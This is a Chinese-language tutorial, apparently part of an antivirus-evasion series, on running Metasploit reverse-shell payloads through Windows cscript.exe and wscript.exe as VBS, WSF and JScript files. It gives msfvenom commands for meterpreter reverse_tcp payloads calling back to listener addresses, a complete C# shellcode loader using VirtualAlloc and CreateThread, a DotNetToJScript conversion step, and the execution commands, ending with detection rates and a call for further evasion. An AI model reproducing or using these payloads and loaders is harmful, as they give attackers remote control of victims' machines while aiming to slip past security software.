當你的才華
還撐不起你的野心時
那你就應該靜下心來學習
目錄
0x02 使用CScript/WScript執行vbs反彈腳本
0x03 使用CScript/WScript執行wsf反彈腳本
0x04 使用CScript/WScript執行js反彈腳本
0x01 CScript/WScript介紹
系統文件cscript.exe是存放在Windows系統文件夾中的重要文件,通常情況下是在安裝操作系統過程中自動創建的,對於系統正常運行來說至關重要,Windows Script Host引擎在cscript.exe來尋找和連接腳本的運行庫,最常見的有VBScript和JavaScript。
wscript全稱“Windows Scripting Host”,是一種批次語言/自動執行工具——它所對應的程序“wscript.exe”是一個腳本語言解釋器,位於C:\WINDOWS\system32目錄下,正是它才使得腳本可以被執行,就象執行批處理一樣,可以拿來執行.wsh,.vbs,.js等。
WScript是一個窗口化的版本;CScript是一個命令行的版本。兩種版本都可以運行任何腳本。二者之間的區別是,窗口化版本(WScript)使用一個彈出對話框來顯示文本輸出消息,而命令行版本(CSCript)通過命令行程序所見的、常規的“標準輸出”方法來顯示文本。
CScript/WScript可以用來執行vbs和js等腳本,是否能達到免殺的目的取決於執行的腳本本身的免殺能力。
0x02 使用CScript/WScript執行vbs反彈腳本
使用msfvenom生成vbs腳本的反彈木馬。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.100.207 lport=4444 -f vbs > TIDE.vbs
使用cscript.exe執行生成的vbs腳本。
cscript.exe TIDE.vbs
反彈成功。
使用WScript.exe執行vbs反彈腳本,可以見到和cscript.exe相比命令行中沒有文本輸出信息。
WScript.exe TIDE.vbs
msf上線成功。
0x03 使用CScript/WScript執行wsf反彈腳本
wsf文件是一種windows腳本文件,是一個包含可擴展標記語言(XML)代碼的文本文檔。把msf生成的反彈vbs代碼放入到<script>
標籤中。
<package>
<job id="IncludeExample">
<script language="VBScript">
#vbs代碼
</script>
</job>
</package>
使用cscript.exe執行wsf腳本。
cscript.exe TIDE.wsf
反彈成功。
使用WScript.exe執行wsf腳本。
WScript.exe TIDE.wsf
msf上線成功。
0x04 使用CScript/WScript執行js反彈腳本
首先需要製作一個js反彈文件,和專題39方法一致。
1、生成基於csharp的shellcode, 我們要藉助於 C# 來執行生成的 Payload,所以格式要選擇爲 csharp。
msfvenom -p windows/meterpreter/reverse_tcp -a x86 -f csharp LHOST=10.211.55.2 LPORT=3333 -o shell_x86.csharp
2、然後在vs2017中創建C#的Console⼯程,.Net版本建議2.0,這樣兼容性好⼀一 些,如果選了了net 4.0。其他電腦上沒有裝4.0的話可能就沒法運⾏了。代碼如下,把 shell_x86.csharp 內容放到相應MsfPayload位置。
using System;
using System.Threading;
using System.Runtime.InteropServices;
namespace MSFWrapper
{
public class Program
{
public Program()
{
RunMSF();
}
public static void RunMSF()
{
byte[] MsfPayload = {
//Paste your Payload here
};
IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
Thread.Sleep(2000);
}
public static void Main()
{
}
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
}
然後將先前生成的 Payload 的黏貼到代碼中註釋爲“//Paste your Payload here”的地方。保存代碼後,修改該工程的屬性,將輸出類型改爲“Windows 應用程序”,啓動對象改爲“MSFWrapper.Program”, 然後保存。增加 Release 版的 x86 編譯對象,然後生成了ConsoleApp2.exe。
3、將exe轉換爲腳本⽂文件 下載 DotNetToJScript: https://raw.githubusercontent.com/TideSec/BypassAntiVi rus/master/tools/DotNetToJScript.zip
將上⾯⽣成的 ConsoleApp2.exe 複製到DotNetToJScript⽬目錄下,執⾏命令生成TIDE.js文件
DotNetToJScript.exe -l=JScript -o=TIDE.js -c=MSFWrapper.Program ConsoleApp2.exe
使用cscript/WScript執行
cscript.exe MSFWrapper.js
WScript.exe MSFWrapper.js
成功上線
0x05 總結
cscript/WScript無論是加載vbs,還是wsf和js,都會被360和火絨查殺到,因此想要繞過殺軟還需要對vbs,和js腳本進行免殺處理。
vt查殺率32/57
參考資料:
免殺 MSF Windows Payload 的方法與實踐
雖然我們生活在陰溝裏,但依然有人仰望星空!